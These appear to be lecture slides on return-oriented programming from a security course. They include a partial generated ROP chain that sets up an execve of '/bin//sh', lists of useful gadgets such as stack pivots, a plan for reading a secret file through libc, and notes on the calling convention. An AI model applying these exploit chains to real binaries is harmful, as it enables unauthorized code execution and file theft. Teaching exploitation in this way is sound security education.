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Today’s Agenda

1. Return-oriented Programing
a. Built a ROP chain on LibC to open and read file
b. Blind ROP
c. Defenses 



The Generated ROP Shellcode

...
p += pack('<Q', 0x000000000040f3ee) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e0) # @ .data
p += pack('<Q', 0x0000000000449237) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047b755) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f3ee) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x0000000000443890) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047b755) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040186a) # pop rdi ; ret
p += pack('<Q', 0x00000000004c00e0) # @ .data
p += pack('<Q', 0x000000000040f3ee) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x000000000040176f) # pop rdx ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x0000000000443890) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000470780) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470780) # add rax, 1 ; ret
...
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Useful Gadgets

Skip data on stack:

pop rdx ; pop r12 ; ret
pop rdx ; pop rcx ; pop rbx ; ret



Useful Gadgets

Store value to registers and skip data on stack:

pop rdx ; pop r12 ; ret
pop rdx ; pop rcx ; pop rbx ; ret
pop rcx ; pop rbp ; pop r12 ; pop r13 ; ret

NOP:
ret;
nop; ret;



Useful Gadgets

syscall instruction is quite rare in normal programs; may 
have to call library functions instead.



Useful Gadgets

Stack pivot:

xchg rax, rsp; ret

pop rsp; ...; ret



ROP Shellcode to Read secret File
ret2libc64 dynamically linked

sendfile(1, open("./secret", NULL), 0, 1000)

Caller
● Use registers to pass arguments to callee. Register order 

(1st, 2nd, 3rd, 4th, 5th, 6th, etc.) %rdi, %rsi, %rdx, %rcx, 
%r8, %r9, ... (use stack for more arguments)

rdi rsi rdx rcxrdi rsi
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Defenses







HW Reading




